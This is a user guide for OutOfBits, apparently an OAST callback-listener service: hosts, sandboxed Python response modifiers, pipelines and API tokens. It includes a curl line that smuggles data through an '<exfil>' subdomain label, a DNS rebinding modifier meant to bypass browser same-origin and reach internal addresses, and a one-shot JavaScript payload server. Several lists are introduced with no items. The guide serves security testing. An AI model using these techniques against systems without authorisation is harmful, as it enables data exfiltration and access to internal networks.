OutOfBits

User guide

A walkthrough of OutOfBits — what it does, how to use it, what the moving parts mean. For the internals, see the architecture overview.

What is OAST?

Out-of-band application security testing pushes a target application to make a request to an attacker-controlled host. If the target's DNS or HTTP request lands at your listener, you've confirmed the bug — even if the target's response gives you nothing. OutOfBits runs that listener and captures everything that arrives.

Signing in

OutOfBits is invitation-only. An admin must add your email to the allowlist (/admin/allowlist) before you can sign in. Sign in with Google; on first login your account is created automatically.

Hosts

Every callback is associated with a single-label host under o.outofbits.com. You have two options:

Reserved labels (www, api, etc.) are blocked. Hosts you no longer want can be released; they go back into the pool.

Deeper subdomains (anything.your-host.o.outofbits.com) are still captured and attributed to the rightmost-known host you own — that's the OAST exfil pattern, where the target leaks a token in the leftmost label. The TLS wildcard cert only covers one level of depth, so deeper subdomains are HTTP-only.

Triggering a callback

dig +short A your-host.o.outofbits.com
curl http://your-host.o.outofbits.com/probe
curl https://your-host.o.outofbits.com/probe   # single-label depth
curl http://<exfil>.your-host.o.outofbits.com/path

Interactions

The interactions page live-tails everything that hits your hosts. Each row links to a detail page with the full request, response, and per-modifier execution log. Filters at the top let you narrow by protocol, host, source IP, qtype, HTTP method, and date range; the filter set threads through to the live tail and the export links.

The Export links produce NDJSON (one JSON object per line) or CSV, suitable for piping to jq or loading into a spreadsheet. NDJSON also takes ?include_raw=1 to base64-encode the raw bytes (request/response payloads).

Modifiers

A modifier is a small Python function — handle_http(ctx) or handle_dns(ctx) — that runs whenever a request lands on its host. It can mutate the response: change the status code, set headers, write a body, return a custom DNS answer.

def handle_http(ctx):
    if ctx.request.path == "/admin":
        ctx.response.status_code = 401
        ctx.response.headers["WWW-Authenticate"] = 'Basic realm="x"'
    return ctx

Modifier code runs in a sandboxed subprocess with restricted builtins, blocked imports, no filesystem or network access (kernel-enforced via seccomp + Landlock), 1s CPU / 2s wallclock / 100 MiB memory limits. print() output is captured but visible only in test mode.

Save-time check. When you save, the platform syntax-checks your code and then loads the module body in the sandbox to verify handle_http / handle_dns exists and that nothing at the top level raises. Broken code is rejected with a line number before it can ever run on live traffic.

Each modifier has a built-in Test button. Pick a captured interaction; the sandbox replays your code against it and shows a before/after diff. Read-only — doesn't affect live traffic.

Every save snapshots the code into modifier_versions. The history link on the editor page lists every version with timestamps and lets you restore an earlier one.

Delete from the row on /modifiers. That removes the modifier and its version history; pipeline steps that reference it are removed too. Past chain_executions log entries are kept (modifier_id set to NULL) so the interaction history stays intact.

Stateful modifiers

Modifiers are stateless by default — every invocation runs in a fresh subprocess and forgets everything when it ends. Two opt-in handles let a modifier persist a small JSON blob across invocations:

Both are off by default. Toggle them on the modifier edit page in the Persistent state panel. ctx.state can be seeded with an initial state JSON object (used on first invocation and after Clear state). ctx.shared always starts as {}.

Both behave like a Python dict and also support attribute access:

# read
ctx.state["k"]               # KeyError if missing
ctx.state.k                  # AttributeError if missing
ctx.state.get("k", 0)        # safe default
"k" in ctx.state

# write
ctx.state["k"] = v
ctx.state.k = v
ctx.state.setdefault("seen", {})
ctx.state.update({"a": 1})
ctx.state.pop("k", None)
del ctx.state["k"]

# iterate
for k in ctx.state: ...
ctx.state.keys() / .values() / .items()
len(ctx.state)

Values must be JSON-serializable: numbers, strings, bools, None, lists, dicts. Bytes, sets, and datetimes will fail to round-trip. Dunder access (ctx.state.__class__, etc.) is rejected by the AST allowlist — stick to the dict surface.

Failure semantics. The state row is only written back on a successful run. A raise, a wallclock timeout, or output that exceeds the cap leaves the prior row untouched — your modifier can't half-commit corrupted state. Concurrent invocations on the same modifier are serialized (SELECT … FOR UPDATE), so a counter increments cleanly even under parallel traffic.

Test mode never reads or writes the persisted rows. The test form has separate "Test ctx.state" and "Test ctx.shared" textareas so you can rehearse against any starting state without polluting prod. Clear buttons on the editor page reset the persisted rows; clearing shared state affects every one of your modifiers that opted into ctx.shared.

Inspecting live state. The Persistent state panel on the editor page shows the current persisted rows for both ctx.state and ctx.shared, expanded by default. Each block has a small ↻ refresh link that re-fetches just that block via HTMX, so you can watch a counter tick after each test run or live request without losing your editor contents.

Fire-once example — serve one payload, then refuse:

def handle_http(ctx):
    if ctx.state.get("fired"):
        ctx.response.status_code = 410
        ctx.response.body = "already served"
        return ctx
    ctx.state["fired"] = True
    ctx.response.status_code = 200
    ctx.response.headers["Content-Type"] = "text/javascript"
    ctx.response.body = "/* payload here */"
    return ctx

For a fully worked rebinding example with diagram and dig output, see Patterns › DNS rebinding.

Patterns

DNS rebinding

Serve a different A record every time the same name is resolved. The classic use is bypassing browser same-origin: a victim's JavaScript fetches the host once (and gets a benign IP), then re-fetches and gets a second IP pointing somewhere the attacker actually wants — often an internal address the browser would otherwise refuse to talk to. Sending TTL 0 is what makes this work in practice: caching resolvers (and the browser's stub resolver) won't reuse the prior answer, so each request re-enters our DNS listener and the modifier advances its counter.

  client                  recursive resolver         our DNS listener / sandbox        modifier_state
   |                              |                              |                              |
   | dig rebind.<label>... A      |                              |                              |
   |--->                          |                              |                              |
   |                              | NS lookup & query  ------->  |                              |
   |                              |                              | attribute on rightmost label |
   |                              |                              | SELECT ... FOR UPDATE  ----> |
   |                              |                              |                              | -> {} (first run)
   |                              |                              | run handle_dns(ctx):         |
   |                              |                              |   count = 0 + 1 = 1          |
   |                              |                              |   ip    = "127.0.0.1"        |
   |                              |                              | UPSERT  ------------------>  |
   |                              |                              |                              | -> {"count": 1}
   |                              |                              | answer A 127.0.0.1 ttl 0     |
   |                              | <------------------------    |                              |
   | A 127.0.0.1 ttl 0  <------   |                              |                              |
   |                              |                              |                              |
   | dig rebind.<label>... A   (no resolver cache — ttl was 0)                                |
   |--->                          |                              |                              |
   |                              | NS lookup & query  ------->  | (same path)                  |
   |                              |                              |   count = 1 + 1 = 2          |
   |                              |                              |   ip    = "127.0.0.2"        |
   |                              |                              |                              | -> {"count": 2}
   | A 127.0.0.2 ttl 0  <------   |                              |                              |

The modifier itself is small. Toggle Persist private state on the edit page so ctx.state is materialized; everything else is plain Python:

def handle_dns(ctx):
    if ctx.request.qname.startswith("rebind.") and ctx.request.qtype == "A":
        count = ctx.state.get("count", 0) + 1   # safe default on the first run
        ctx.state["count"] = count
        data = "127.0.0.2" if count % 2 == 0 else "127.0.0.1"
        ctx.response.answers = [{
            "name": ctx.request.qname,
            "type": "A",
            "ttl": 0,
            "data": data,
        }]
    return ctx

Smoke-test from any resolver that talks to us directly:

$ for i in 1 2 3 4; do dig +short @<our-ip> rebind.<label>.o.outofbits.com A; done
127.0.0.1
127.0.0.2
127.0.0.1
127.0.0.2

A few subtleties worth keeping in mind:

Pipelines

Every (host, protocol) has one pipeline — an ordered list of modifier steps. Each step runs in its own sandbox; the output ctx of one step is the input of the next. Manage steps (reorder, add, remove) on each host's detail page; the same page has the pipeline-level enable toggle and on-error policy.

The on-error policy controls what happens when a step throws or times out:

A modifier can short-circuit the rest of the pipeline by setting ctx.control.continue_chain = False. A disabled pipeline doesn't run at all; an empty pipeline (no steps) is a no-op (you'll see modifier_status: no_steps in the interaction log).

The host page also has a "test pipeline" link that replays the pipeline against any captured interaction, with a per-stage diff. Past chain_executions log entries persist when steps are removed, with the modifier reference set to NULL.

API tokens

Mint personal bearer tokens at /account/tokens. Pick a scope:

curl -H "Authorization: Bearer oob_…" \
     https://outofbits.com/api/interactions

Every UI action has a JSON twin under /api/...: hosts (claim, generate, release), modifiers (CRUD, versions, restore, test), pipelines (steps, move, test), tokens (mint, revoke), and admin endpoints (allowlist, users, audit). Full reference is at /api.

Privacy

Toggle Redact sensitive headers at /account/tokens to scrub Authorization, Proxy-Authorization, and Cookie from stored requests (modifiers still receive the raw values, only the persisted row is redacted).

Retention & backups

Captured interactions, chain executions, and rate-limit ticks are deleted after RETENTION_DAYS (default 30) by a daily timer. Audit events are kept long-term. A weekly pg_dump is written to the local backup directory.

What if it doesn't fire?

  1. Did the request reach the listener? Check /interactions. If the row's there but modifier_status is empty, no pipeline matched.
  2. Is the pipeline enabled? Check on the host page.
  3. Does the pipeline have steps? An empty pipeline shows no_steps.
  4. Is the modifier scoped to the right (host, protocol)? Modifiers are per-host — a modifier on host A won't fire for host B.
  5. Did the modifier raise? Open the interaction detail page for the per-stage error log.